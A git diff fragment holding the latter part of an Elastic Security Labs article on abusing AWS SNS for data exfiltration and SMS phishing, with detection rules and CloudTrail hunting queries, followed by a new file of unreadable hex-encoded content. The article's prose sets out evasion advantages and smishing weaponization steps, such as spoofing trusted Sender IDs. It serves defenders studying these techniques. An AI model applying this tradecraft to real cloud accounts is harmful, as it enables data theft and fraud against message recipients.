+* **Identity Impersonation via IAM Role**: Actions taken via the AWS CLI are attributed to the IAM role attached to the EC2 instance. If the role already has permissions for SNS actions and is used regularly for similar tasks, adversarial activity can blend seamlessly with expected operations. +* **No Concerns with Security Groups or Network ACLs**: Since SNS communication occurs entirely within the confines of AWS, there’s no reliance on security group or Network ACL configurations. This bypasses traditional outbound traffic controls, ensuring the adversary's data exfiltration attempts are not blocked. +* **Lack of Detections for SNS Abuse**: Abuse of SNS for data exfiltration is under-monitored in many environments. Security teams may focus on more commonly abused AWS services (e.g., S3 or EC2) and lack dedicated detections or alerts for unusual SNS activity, such as frequent topic creation or large volumes of published messages. +* **Minimal Footprint with Non-Invasive Commands**: Local commands used by the adversary (e.g., `cat`, `echo`, `base64`) are benign and do not trigger endpoint detection and response (EDR) tools typically. These commands are common in legitimate administrative tasks, allowing adversaries to avoid detection on backend Linux systems. +* **Efficient and Scalable Exfiltration**: SNS enables scalable exfiltration by allowing adversaries to send large amounts of data to multiple subscribers. Once set up, the adversary can automate periodic publishing of sensitive information with minimal additional effort. +* **Persistent Exfiltration Capabilities**: As long as the SNS topic and subscription remain active, the adversary can use the infrastructure for ongoing exfiltration. This is especially true if the IAM role retains its permissions and no proactive monitoring is implemented. +* **Bypassing Egress Monitoring and DLP**: Since the data is exfiltrated through SNS within the AWS environment, it bypasses traditional egress monitoring or data loss prevention solutions that focus on outbound traffic to external destinations. + +# In-the-Wild Abuse + +While whitebox scenarios are invaluable for simulating potential adversarial behaviors, it is equally important to ground these simulations with in-the-wild (ItW) threats. To this end, we explored publicly available research and identified a [key article](https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/) from SentinelOne describing a spam messaging campaign that leveraged AWS SNS. Using insights from this research, we attempted to replicate these techniques in a controlled environment to better understand their implications. + +Although we will not delve into the attribution analysis outlined in SentinelOne’s research, we highly recommend reviewing their work for a deeper dive into the campaign’s origins. Instead, our focus is on the tools and techniques employed by the adversary to abuse AWS SNS for malicious purposes. + +## Smishing and Phishing + +Compromised AWS environments with pre-configured SNS services can serve as launchpads for smishing (SMS phishing) or phishing attacks. Adversaries may exploit legitimate SNS topics and subscribers to distribute fraudulent messages internally or externally, leveraging the inherent trust in an organization’s communication channels. + +As detailed in SentinelOne’s [blog](https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/), the adversary employed a Python-based tool known as **SNS Sender**. This script enabled bulk SMS phishing campaigns by interacting directly with AWS SNS APIs using compromised AWS credentials. These authenticated API requests allowed the adversary to bypass common safeguards and send phishing messages in mass.. + +The [**SNS Sender script**](https://www.virustotal.com/gui/file/6d8c062c23cb58327ae6fc3bbb66195b1337c360fa5008410f65887c463c3428) leverages valid AWS access keys and secrets to establish authenticated API sessions via the AWS SDK. Armed with these credentials, adversaries can craft phishing workflows that include: + +1. Establishing authenticated SNS API sessions via the AWS SDK. +2. Enumerating and targeting lists of phone numbers to serve as phishing recipients. +3. Utilizing a pre-registered Sender ID (if available) for spoofing trusted entities. +4. Sending SMS messages containing malicious links, often impersonating a legitimate service. + +![](/assets/images/aws-sns-abuse/image4.png) + +Elastic Security Labs predicts that the use of one-off or commercially available tools for abusing cloud services, like SNS Sender, will continue to grow as a research focus. This underscores the importance of understanding these tools and their impact on cloud security. + +### Weaponization and Pre-Testing Considerations + +To successfully execute a phishing campaign at scale using AWS SNS, the adversary would have needed access to an already registered AWS End User Messaging organization. AWS restricts new accounts to SNS Sandbox Mode, which limits SMS sending to manually verified phone numbers. To bypass sandbox restrictions, adversaries would need access to an account already approved for production SMS messaging. The process of testing and weaponization would have required several key steps. + +A fully configured AWS End User Messaging setup would require: + +* An established origination identity (which includes a long code, toll-free number, or short code). +* Regulatory approval through a brand registration process. +* Carrier pre-approval for high-volume SMS messaging. + +Without these pre-registered identifiers, AWS SNS messages may be deprioritized, blocked, or fail to send. + +Before deploying a large-scale attack, adversaries would likely test SMS delivery using verified phone numbers within AWS SNS Sandbox Mode. This process requires: + +* Manually verifying phone numbers before sending messages. +* Ensuring their carrier allows AWS SNS sandbox messages, as some (like T-Mobile and Google Voice) frequently block AWS SNS sandbox verification SMS. +* Testing delivery routes across different AWS regions to identify which countries permit custom Sender IDs or allow non-sandbox messages. + +If an attacker’s test environment failed to receive SNS verification OTPs, they would likely pivot to a different AWS account or leverage a compromised AWS account that already had production-level messaging permissions. + +In addition to this, the adversary would likely prioritize transactional messages over promotional. Transactional messages are prioritized by AWS (OTPs, security alerts, etc.) \- whereas promotional messages are lower priority and may be filtered or blocked by certain carriers. + +If adversaries cannot override message type defaults, their phishing messages may be deprioritized or rejected by AWS, which could be a hurdle. + +**Registered Origination Identity & Sender ID (If Supported)** + +AWS requires brand registration and origination identity verification for businesses sending high-volume SMS messages. Depending on the region and carrier, adversaries may be able to exploit different configurations: + +* **Sender ID Abuse**: In some non-U.S. regions, adversaries could register a Sender ID to make phishing messages appear from a trusted entity. This may allow for spoofing banks, shipping companies, or government agencies, making the phishing attempt more convincing. +* **Long Code & Toll-Free Exploitation**: AWS SNS assigns long codes (standard phone numbers) or toll-free numbers for outbound SMS. Toll-free numbers require registration but could still be abused if an adversary compromises an AWS account with an active toll-free messaging service. +* **Short Code Restrictions**: High-throughput short codes (5- or 6-digit numbers) are often carrier-controlled and require additional vetting, making them less practical for adversaries. + +### **Infrastructure Setup** + +By default, AWS accounts that have not properly configured the [End User Messaging](https://docs.aws.amazon.com/sms-voice/latest/userguide/what-is-sms-mms.html) service are restricted to an [**SMS sandbox**](https://aws.amazon.com/blogs/compute/introducing-the-sms-sandbox-for-amazon-sns/). This sandbox allows developers to test SMS functionality by sending messages to verified phone numbers. However, as we discovered, the process of verifying numbers in the sandbox is fraught with challenges. + +Despite repeated attempts to register phone numbers with the sandbox, we found that verification messages (OTP codes) failed to arrive at endpoints across various carriers and services, including Google Voice and Twilio. This suggests that mobile carriers may block these sandbox-originated messages, effectively stalling the verification process but ultimately blocking us from emulating the behavior. + +For production use, [migrating](https://docs.aws.amazon.com/sns/latest/dg/sns-sms-sandbox-moving-to-production.html) from the sandbox requires a fully configured AWS End User Messaging service. This includes: + +* A legitimate Sender ID. +* A phone pool for failovers. +* Origination identity. +* Brand registration for regulatory compliance. + +This setup aligns with the requirements of the SNS Sender script and represents an ideal environment for adversaries. The use of a Sender ID, which relies on a pre-established [origination identity](https://docs.aws.amazon.com/sns/latest/dg/channels-sms-originating-identities.html) and brand registration, allows phishing messages to appear as though they originate from a reputable organization. This reduces the likelihood of detection or carrier-level blocking, increasing the success rate of the campaign. + +The requirements for this attack suggests adversaries are likely to target companies that use AWS End User Messaging for automated SMS alerts and messaging. Industries such as logistics and delivery services, e-commerce platforms, and travel and hospitality are prime targets due to their reliance on automated SMS notifications. + +On the recipient's side, the phishing message appears as if it originates from a trusted entity, bypassing carrier alarms and evading suspicion. + +During our testing, we encountered unexpected behavior with logging in CloudTrail when attempting to use the script and AWS CLI to send SMS messages directly through SNS. Failed message delivery attempts did not appear in CloudTrail logs as expected. + +Although the [**Publish**](https://docs.aws.amazon.com/sns/latest/api/API_Publish.html) API call is generally logged in CloudTrail (provided data plane events are enabled), it remains unclear if the absence of logs for failed attempts was due to inherent SNS behavior or misconfiguration on our part. This gap highlights the need for deeper investigation into how failed SNS Publish requests are handled by AWS and whether additional configurations are required to capture these events reliably. + +As a result, we determined it would be best to include a threat hunting query for this rather than a detection rule due to the inability to fully replicate the adversary behavior, reliance on pre-established and registered brands and origination identity, in full. + +# Detection and Hunting Opportunities + +For detection and hunting, CloudTrail audit logs provide enough visibility for the subsequent API calls from this activity. They also include enough contextual information to help aid with a higher fidelity of these anomalous signals. The following detections and hunting queries will leverage CloudTrail data ingested into our Elastic stack with the AWS CloudTrail integration, however they should be translatable to the SIEM of your choice if needed. For this activity, we focus solely on assumed roles, specifically those with EC2 instances being abused but this could take place elsewhere in AWS environments. + +## SNS Topic Created by Rare User + +[Detection Rule Source](https://github.com/elastic/detection-rules/blob/c5523c4d4060555e143b2d46fea1748173352b8f/rules/integrations/aws/resource_development_sns_topic_created_by_rare_user.toml) +[Hunting Query Source](https://github.com/elastic/detection-rules/blob/7fb13f8d5649cbcf225d2ade964bdfef15ab6b11/hunting/aws/docs/sns_topic_created_by_rare_user.md) +MITRE ATT\&CK: [T1608](https://attack.mitre.org/techniques/T1608/) + +Identifies when an SNS topic is created by a rare AWS user identity ARN (IAM User or Role). This detection leverages Elastic’s New Terms type rules to identify when the first occurrence of a user identity ARN creates an SNS topic. It would be awfully unusual for an assumed role, typically leveraged for EC2 instances to be creating SNS topics. + +Our query leverages KQL and [New Terms rule type](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule) to focus on topics created by an Assumed Role specifically for an EC2 instance. + +``` +event.dataset: "aws.cloudtrail" + and event.provider: "sns.amazonaws.com" + and event.action: "Publish" + and aws.cloudtrail.user_identity.type: "AssumedRole" + and aws.cloudtrail.user_identity.arn: *i-* +``` + +### Hunting Query (ES|QL) + +Our hunting query focuses on the CreateTopic API action from an entity whose identity type is an assumed role. We also parse the ARN to ensure that it is an EC2 instance this request is sourcing from. We can then aggregate on cloud account, entity (EC2 instance ID), assumed role name, region and user agent. If it is unusual for the EC2 instance reported to be creating SNS topics randomly, then it may be a good anomalous signal to investigate. + +``` +from logs-aws.cloudtrail-* +| where @timestamp > now() - 7 day +| WHERE + event.dataset == "aws.cloudtrail" AND + event.provider == "sns.amazonaws.com" AND + event.action == "Publish" + and aws.cloudtrail.user_identity.type == "AssumedRole" +| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}" +| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}" +| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}" +| WHERE STARTS_WITH(entity, "i-") +| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name +| SORT regional_topic_publish_count ASC +``` + +Hunting Notes: + +* It is unusual already for credentials from an assumed role for an EC2 instance to be creating SNS topics randomly. +* If a user identity access key (aws.cloudtrail.user_identity.access_key_id) exists in the CloudTrail audit log, then this request was accomplished via the CLI or programmatically. These keys could be compromised and warrant further investigation. +* An attacker could pivot into Publish API actions being called to this specific topic to identify which AWS resource is publishing messages. With access to the topic, the attacker could then further investigate the subscribers list to identify unauthorized subscribers. + +## SNS Topic Subscription with Email by Rare User + +[Detection Rule Source](https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/exfiltration_sns_email_subscription_by_rare_user.toml) +[Hunting Query Source](https://github.com/elastic/detection-rules/blob/7fb13f8d5649cbcf225d2ade964bdfef15ab6b11/hunting/aws/docs/sns_email_subscription_by_rare_user.md) +MITRE ATT&CK: [T1567](https://attack.mitre.org/techniques/T1567/), [T1530](https://attack.mitre.org/techniques/T1530/) + +Identifies when an SNS topic is subscribed to by a rare AWS user identity ARN (IAM User or Role). This detection leverages Elastic’s **New Terms** type rules to identify when the first occurrence of a user identity ARN attempts to subscribe to an existing SNS topic.The data exfiltration which took place during our whitebox testing example above would have been caught by this threat hunt; an alert would have been generated when we establish an SNS subscription to an external user. + +Further false-positive reductions could be obtained by whitelisting expected organization TLDs in the requested email address if the topic is meant for internal use only. + +Our query leverages KQL and New Terms rule type to focus on subscriptions that specify an email address. Unfortunately, CloudTrail redacts the email address subscribed or this would be vital for investigation. + +``` +event.dataset: "aws.cloudtrail" + and event.provider: "sns.amazonaws.com" + and event.action: "Subscribe" + and aws.cloudtrail.request_parameters: *protocol=email* +``` + +**New Terms value**: aws.cloudtrail.user_identity.arn + +### Hunting Query (ES|QL) + +Our hunting query leverages ES|QL but parses the Subscribe API action parameters to filter further on the email protocol being specified. It also parses out the name of the user-agent, but relies further on aggregations to potentially identify other anomalous user-agent attributes. We've also included the region where the subscription occurred, as it may be uncommon for certain regions to be subscribed to others, depending on the specific business context of an organization. + +``` +from logs-aws.cloudtrail-* +| where @timestamp > now() - 7 day +| WHERE + event.dataset == "aws.cloudtrail" AND + event.provider == "sns.amazonaws.com" AND + event.action == "Subscribe" +| DISSECT aws.cloudtrail.request_parameters "%{?protocol_key}=%{protocol}, %{?endpoint_key}=%{redacted}, %{?return_arn}=%{return_bool}, %{?topic_arn_key}=%{topic_arn}}" +| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}" +| WHERE protocol == "email" +| STATS regional_topic_subscription_count = COUNT(*) by aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name +| WHERE regional_topic_subscription_count == 1 +| SORT regional_topic_subscription_count ASC +``` + +Hunting Notes: + +* If a user identity access key (aws.cloudtrail.user_identity.access_key_id) exists in the CloudTrail audit log, then this request was accomplished via the CLI or programmatically. These keys could be compromised and warrant further investigation. +* Ignoring the topic ARN during aggregation is important to identify first occurrence anomalies of subscribing to SNS topic with an email. By not grouping subscriptions by topic ARN, we ensure that the query focuses on detecting unexpected or infrequent subscriptions only, regardless of specific topics already established. +* Another query may be required with the user identity ARN as an inclusion filter to identify which topic they subscribed to. +* If an anomalous user-agent name is observed, a secondary investigation into the user-agent string may be required to determine if it's associated with automated scripts, uncommon browsers, or mismatched platforms. While it is simple to fake these, adversaries have been known not to for undisclosed reasons. + +## SNS Topic Message Published by Rare User + +[Detection Rule Source](https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/lateral_movement_sns_topic_message_publish_by_rare_user.toml) +[Hunting Query Source](https://github.com/elastic/detection-rules/blob/7fb13f8d5649cbcf225d2ade964bdfef15ab6b11/hunting/aws/docs/sns_topic_message_published_by_rare_user.md) + +Identifies when a message is published to an SNS topic from an unusual user identity ARN in AWS. If the role or permission policy does not practice PoLP, publishing to SNS topics may be allowed and thus abused. For example, default roles supplied via AWS Marketplace that allow publishing to SNS topics. It may also identify rogue entities that once were pushing to SNS topics but no longer are being abused if credentials are compromised. Note that this focuses solely on EC2 instances, but you could adjust to account for different publish anomalies based on source, region, user agent and more. + +Our query leverages KQL and New Terms rule type to focus on subscriptions that specify an email address. Unfortunately, CloudTrail redacts the email address subscribed, as this would be a vital asset for investigation. + +``` +event.dataset: "aws.cloudtrail" + and event.provider: "sns.amazonaws.com" + and event.action: "Publish" + and aws.cloudtrail.user_identity.type: "AssumedRole" + and aws.cloudtrail.user_identity.arn: *i-* +``` + +**New Terms value**: aws.cloudtrail.user_identity.arn + +### Hunting Query (ES|QL) + + Our hunting query leverages ES|QL and also focused on SNS logs where the API action is *Publish*. This only triggers if the user identity type is an assumed role and the user identity ARN is an EC2 instance ID. Aggregating on **account ID**, **entity**, **assumed role**, **SNS topic** and **region** help us identify any further anomalies based on expectancy of this activity. We can leverage the user agent to identify these calls being made by unusual tools or software as well. + +``` +from logs-aws.cloudtrail-* +| where @timestamp > now() - 7 day +| WHERE + event.dataset == "aws.cloudtrail" AND + event.provider == "sns.amazonaws.com" AND + event.action == "Publish" + and aws.cloudtrail.user_identity.type == "AssumedRole" +| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}" +| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}" +| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}" +| WHERE STARTS_WITH(entity, "i-") +| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name +| SORT regional_topic_publish_count ASC +``` + +Hunting Notes: + +* If a user identity access key (aws.cloudtrail.user_identity.access_key_id) exists in the CloudTrail audit log, then this request was accomplished via the CLI or programmatically. These keys could be compromised and warrant further investigation. +* If you notice Terraform, Pulumi, etc. it may be related to testing environments, maintenance or more. +* Python SDKs that are not AWS, may indicate custom tooling or scripts being leveraged. + +## SNS Direct-to-Phone Messaging Spike + +[Hunting Query Source](https://github.com/elastic/detection-rules/blob/7fb13f8d5649cbcf225d2ade964bdfef15ab6b11/hunting/aws/docs/sns_direct_to_phone_messaging_spike.md) +MITRE ATT\&CK: [T1660](https://attack.mitre.org/techniques/T1660/) + +Our hunting efforts for hypothesized SNS compromise—where an adversary is conducting phishing (smishing) campaigns—focus on *Publish* API actions in AWS SNS. Specifically, we track instances where *phoneNumber* is present in request parameters, signaling that messages are being sent directly to phone numbers rather than through an SNS topic. + +Notably, instead of relying on SNS topics with pre-subscribed numbers, the adversary exploits an organization’s production Endpoint Messaging permissions, leveraging: + +* An approved Origination ID (if the organization has registered one). +* A Sender ID (if the adversary controls one or can spoof a trusted identifier). +* AWS long codes or short codes (which may be dynamically assigned). + +Since AWS SNS sanitizes logs, phone numbers are not visible in CloudTrail, but deeper analysis in CloudWatch or third-party monitoring tools may help. + +### Hunting Query (ES|QL) + +This query detects a spike in direct SNS messages, which may indicate smishing campaigns from compromised AWS accounts. + +``` +from logs-aws.cloudtrail-* +| WHERE @timestamp > now() - 7 day +| EVAL target_time_window = DATE_TRUNC(10 seconds, @timestamp) +| WHERE + event.dataset == "aws.cloudtrail" AND + event.provider == "sns.amazonaws.com" AND + event.action == "Publish" AND + event.outcome == "success" AND + aws.cloudtrail.request_parameters LIKE "*phoneNumber*" +| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}" +| STATS sms_message_count = COUNT(*) by target_time_window, cloud.account.id, aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name +| WHERE sms_message_count > 30 +``` + +Hunting Notes: + +* AWS removes phone numbers in logs, so deeper analysis via CloudWatch logs may be necessary. +* While investigating in CloudWatch, the message context is also sanitized. It would be ideal to investigate the message for any suspicious URL links being embedded in the text messages. +* You can also review AWS SNS delivery logs (if enabled) for message metadata. +* If messages are not using a topic-based subscription, it suggests direct targeting. +* The source of these requests is important, if you notice them from an EC2 instance, that is rather odd or Lambda may be an expected serverless code. + +# Takeaways + +Thank you for taking the time to read this publication on **AWS SNS Abuse: Data Exfiltration and Phishing**. We hope this research provides valuable insights into how adversaries can leverage AWS SNS for data exfiltration, smishing and phishing campaigns, as well as practical detection and hunting strategies to counter these threats. + +**Key Takeaways:** + +* AWS SNS is a powerful service, but can be misused for malicious purposes, including phishing (smishing) and data exfiltration. +* Adversaries may abuse production SNS permissions using pre-approved Sender IDs, Origination IDs, or long/short codes to send messages outside an organization. +* Threat actors may weaponize misconfigurations in IAM policies, CloudTrail logging gaps and SNS API limitations to fly under the radar. +* While in-the-wild (ItW) abuse of SNS is not frequently reported, we are confident that its weaponization and targeted exploitation are already occurring or will emerge eventually. +* AWS CloudTrail does not capture phone numbers or messages in SNS logs, making CloudWatch third-party monitoring essential for deeper analysis +* Threat hunting queries can help detect SNS topics being created, subscribed to, or receiving a spike in direct messages, signaling potential abuse. +* Detection strategies include monitoring SNS API actions, identifying unusual SNS message spikes and flagging anomalies from EC2 or Lambda sources. +* Defensive measures should include IAM policy hardening, CloudTrail & SNS logging, anomaly-based detections and security best practices as recommended by AWS to reduce attack surface. + +AWS SNS is often overlooked in security discussions, but as this research shows, it presents a viable attack vector for adversaries if left unmonitored. We encourage defenders to stay proactive, refine detection logic, and implement robust security controls to mitigate these risks and increase security posture. + +Thanks for reading and happy hunting\! + +# References + +* [https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/](https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/) +* [https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/](https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/) +* [https://catalog.workshops.aws/build-sms-program/en-US](https://catalog.workshops.aws/build-sms-program/en-US) \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/behavior_rule_bug_bounty.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/behavior_rule_bug_bounty.encoded.md new file mode 100644 index 0000000000000..45333521a2685 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/behavior_rule_bug_bounty.encoded.md @@ -0,0 +1 @@ +b1b284c1a0bd03d47457c7286425ede8a9bb923dce624386d5a3c00e56c6d7fd189d4a45dfccf90479829f8d813f443457bd06f1c15179e5699fce3c37bebf99238b9ac954a738ef8512200e130fbcf8b423f0af90855b376782e4819e78183bbb1daf88365879e25b1ff4f8081f2f37f955e8a4949f3fbda6019af29cdf1153927f0e2da03b87b90165283947da3f1ece2dfaa7e340f503ee8fb23a91b0d4fb79a9034b96bd5c5a975ea2f1721d99832001af4e45f9e87ff9c0970f0fb3b99a948af001fe311070cc41c433409a71667d9d7cff2ae0271c005cdda8745a1ede01d60ae96a69c4f9f24ffa0f49b53b7ff2740dcbc993ae1586ac129a58835146ceada8471ed2ada9d879f2174a4a6178da62d31edd13a77dabaa8bc4a37e09a38af756c604757ce960d97c300279647e1d6e7a4aef902b47ba69de71e0f9b11eff5f41e78896cc0927ac7df9e9145c83fe377c4e2823bb9a9caee5ae9c3f8c42ed4af57ae5090ac7764705b4a10fd875ef3ac4ee521c1fec2caa0d798a26200fdc6ae67a5881b525f375dbc6d7e94649ac991fbb00a6e0d1a6c8982708710179cd99a94d4bff06e8f3530b475b8252be92b67ba11b865c7f769cd3ccc32f5624fb9db9726df32985df761cb588c5c162d83fae818b135eb778f4d3ee4f56e87b202eabf1177cc959926995866e40d79142471cd74969cfd130c79d64dd596e391ba4d18138e41069147a15ba1da299a59a2b03122b99261be418763fadc092b338a052f4bbd33708da275ec8ec257380ba5ae5ba25dedc8e087af825a03b65e4d603a69f3a2e943c1bc45b1d3376d3aa629393f36bed915a238107cc75e21b870de03db71a674f196092e8b6f786f54796bf5bc7cd381da8ad6c96a7fd9c23b55345f78af9c91123569b052db5f56aac6a5dadd24d6e1766385b08b80302ad604d7a406cdb69bd3a1d965a4e73e141b33d251cecce178a912113d67a2529b29deccb2fc704ba23a366633d15d2dc6961a5b9d5bff97178c99c57aca63b3e00fc07586614d2cee90ef8e57116afc25f0056994e2e940034c3ff9b1eed5195d4ec8ac5c01bc9bb991991b96b0253b1669e27edb868d18a652716bab19f6ef0e4789bb913b1667c278080aecf1112cd47da6e97da6122eecfeabce0cf39586ca53320c9b549e3f7c3f2d5d8d25f3b6dd354081c91bd1fc46358e44483d8b3fb9ec1cb783f42d014f028ddf00cf908bab083ae4f162020b2774f6c2b6a2fe1df83f660ac23c958551a2fededf9741f8248db95d2c6b35ba02bc275fd8d2c537f571e1a000ee55db088c48fd467e39d1b3da5908e578fea309a4b769928355d7de09dcea255f2587536c58c346e733f3d91d8f990e4ea9acfc4eb819521857658cb6d3ab1aba6ca67f883714b54ad629f75da76d9cdeaad82403ac8e0bd9006a0a0694963b66e853f01be0a66bae9171e33a6b09787359f238b69233c3749f01522907a4cb6b598cc16290252aabebc352bbdb8142558d6bec313b6f55bd289440ac7a8ee4a4ce7bc4960d3b2ec94863e78d688e20e672a0be32b6ac21aba9df813a617076cc2ea14c5e4950083f259481e3870610bb0b361e2d7393ae9cc41b9c443b2734ed92691bf8e0ee2b71361c260d39a56f5ab7b39fc46ab2f8e8db7fa8f2ae18998bc0a12ed269854942dfa98085c4de2ed8b6349a33b881cfb5b0c5e222688e51cb5034f8837561ee862d93ef380e05131a4353bcdf0169f5b2756f04901a7756e590bdc001704c93bd453309405d93e6f91414217378ae3d96454590d8ac2cefaa98a7a8eed845f83027b749df4f5098a2bb58b964c22cce5b260ca83d1811b2ede33772ded466123deb48eb1104f16eeadda0f4bc501ae79cf5f7b11a0840b60d4818e77d30b0824d99558526fe0447a22e9b7e6e4ede8066ef27e4c629293f76adafc756ddef5333ac42951bdfde65d5f1d068e66fbe237a775bc80c20af519967f0c8f3eea8a89577e8c32d887f61a37785a4aa80a0d7906927ae07e03694ddbed52f9222d6149aa76509dedce200ca1976965f8468d4047a5c4a510eb023d3e60ca0f1fe535a6c2e0734629f41fb99ffc427d114cf13468ce31810eb16fba4a74a89cd265a1f89b851bcc989c2a6983ff7af9f392202727533c8c0815458bd169b64180a762d89c9defcbdfd930520f80cacd24c4032f450a0d295da69be4ae9ab814cf41a38e52929585cf6a0a1c225dc3265b4dbe32871b73e84873b1a54b927ae5e9f9ee9a61703ffddba75a0a037f627013996f39392a51f09aaf53a5d9177c424c71100dd005dbc80eecda03e78e3e516b5d4b7fbfdbb4a03ca6a8e2f48646e959715dba04486aec3af79d0a282230c0f4b27fc0e1a32aafe55274545ae9196c8fe468ae0381f1754e24d8cffc512f2069f9013742cf0905430305cba790755c37e720cf2ae1589ed469d72ad39029553d6cdd34b2cff54636e27390d4f8793e610d10f8727c75f5e36efe01d7f803f0fbdbd6ff9f29a9557f45a8774f838733fc23d783f1640b9330c370b600231b62df336d49ea6ef3ac4cd81d8e999ac8a05ce6269771aedf0611f37cfa24e2c1827677e0938af9c23a15f71231d31d0834236cf6cdcff07e920e37161505b11892bfebc99a5eeb3bfce0b2e6faa3ea4f8bcd9bcfaeea5fd68f84ca890fa6d7af02d279a4f802de5c5df789190426480f0aab15aaccdb3ef6bdf893a90bee2a06c19e4fbc2c6c38a29106b18b0c62946efce765bd369010e7b9696e09a89f381b7f2960cc6b70c5d2e099ce4accc2f1420739aab0fd2b682128fb518ca25d769bcca84b6ba255c03d68f0703e27935e8ac5a9c34bdf46f6ffeec56a15c1c31f55cce596b4124de241970f2a4fb55f08f57b0b42d0bae806ab08352fc5af70ed16922adc961f3cc67611b4639e8007160b38dda63aaf4ca14ade33d4bd304e06f31cd7562810ce6dd99d787ea929865f9a1597154d250cce75d48ee41c839ea8a5461f7d6f3e9cc42dedf45e5b71ca29003bd16938b3b6c179023f2021373d4d2fd06e24006b492f225580cdcecd60fbf0ad3cd6abba3f8547dcd5d2e7e5d1cbb44922797abe86939c09025ca728d4c4190658c841b6f9f757023623ef3939417a6d51f94cb44892ce93f7c62daa1ed4537c6e5d533ba871b8e6e15c6b9d103d67efdec8702dfb415fa5b8aa282a7d487f358bdeafe497372db67363e2c066429401041043f8bdbd485d4a69c7766fe1bf2fd1990da8ac801344ae75582d914f45444eaafd1614611525657063b60189b26bf8a85a9a067f4071ddc5c9dfabcf35c96c913376d1975625cfbe8c8fd2eaf5f23f106c2c458aa945dd76840f5611c3e108b42b7121d9201099d70dd3f142114a4a2b10a3f91f85fa32c4506acf6e76e7854deb63752ddd99d39acfde2d6a7cb7d5904ed8b031360bd271096315bff577ab8b4c0c0ebcbe802c189f915fc98a6a5bf36718f4f6744c4d25c66d4b61d96309da32241ad9957094be7a9451567434966b9f10387e042edb615914ae69813f5892718e7f0404c7b5cd0a6fd442d93adb50715fa9630c2c91d97ae05475482c9cbc3ea8290605785c486ef1e86d7d3c6271d4363cc7951d0685d42dd62b769ee3da3d2718d7cc0d5ad96de51a6c780ee758aea9b6dbd81f197865fb1542a1477bc8806fb275ee29fdbfe2493ade035d73d18232e83a645a3b32d059fc994a3b5670828a80525f72d91c1637e72506662933a768746545fe77fa284a46b3abefa23bde434e57817fef9ef8a7e935a4973dc6c386321d7913269dd969f9e47b4ebf7bd16a720985eef5ae4f0472314c52d684eb0487047f0385494b82d03d521f8fb68cf5f336ed3370932bc2ed6665800a06eba19f63a218f74f32e31efbbe9618a809b5347bee6063dc8f7fcb782f5a255c65c784b187bedd98168b67670b0ccc0ec88e0c3b8b36e1a76495c58c59eff94dbdbb28fe7b34e89789a19968d1191c048026c4f9b90dfa809f537bd5fbb95fe869b3afe853e992db4e220168b467c72621aa1e76c7cefc928706e1528d62a5879527772250b10e14ef84e8c1163bf393b96ae24fecd2860f090295f9bcf9ba440fb726fbdc85b0259f37eca55be16897e1a4b4ce6d812f52ac50847e549bce9708c87e04719e014afc1adb1447bc7bcc3884b6687b62eb79f16783eb81dbaea27dc2553f5a1ab29e2131d0699f5f91031f51966431f58217428ecc79e0575742a4785b9acf576d86eeb90e7436697024ec56402ad5c05f73d8b45300d652c4ffed14e74e0a86d68e5f303157ad23cd525c0dc4a93423cfd81f7ebf5ac7372adf01946184e4046581e898044787611c2818ae0f65b5cc7cb21ff6a807452bdd0d884833de520df30d769b1ab487c94e3dc2c668e24af8db5996dc200a969e3ad1818101568f726c3163aae1f239f3cb67a942b9bf28e81e9bd7687a419d222c5ac69be23399fd4603615d0b7542b5933b0150579fb0e18caebd662329f80c830680585f19fb748311604b0d622c6cff1ca7925e01c18f6f82c945a3ac8708fa8b7c9c4b45b7c01310da4ec4cf0e12d7a178339799dec9a01b8c84eb70c60fa2053fa70058ee905a0e6ebf4dc4cdf28911176a1195b864eca9ca0bc23ca28c0bd480048efe5032c91e0bd8cdf24ac2af53bd89c2e658b597a1a33ce5e205557c2b86829df1789b98c7eda71a33aed58aaa6fe6fa0ba3d40b79adfdf402760e346c9d5424542b04007adf1cde933956a56609b84bc02cef3e6036d961ceff630c2b8312fcdddab3491f1cec7923f3ae8b65fa803e36a879c7f37cfa24e2c1827677e0938af9c23a154488132a3f50001946760f69272c50094c79dc0c4b6fd4d0d8f1d10debac7f9b871c524cdff9873ea02793f78f2146141e836c4f46c265b87e1efb140399ba949f19be97da7248576387eae74b2f2ad1c5020acf933e0fdba099da9e7c6553faee290a6befe97ef560187f68ff0cef482ea9a5facee732caab70a9a04945d98d8c36f75f00db753e0fadbaa7a1a85fa3839d5dae36e869f93c2de7db459d46f57fe211b833d39ad5dc4fc386dca24a7c5d498054b32356fdea812c1469d0742ff9b246eba3b096a593b1f9453158e73bf28404b374c4d2ba71ef191da77c5db4844143bd19a9cff5a9a39c10c5711dd447218df885f9a6fe467d27ed1dfc7132569b3a5eb824bc65e9f6e1484f3dcf15b933300dd631e4c57945606d13a434ad33ca13aa10f913af27d205462199ef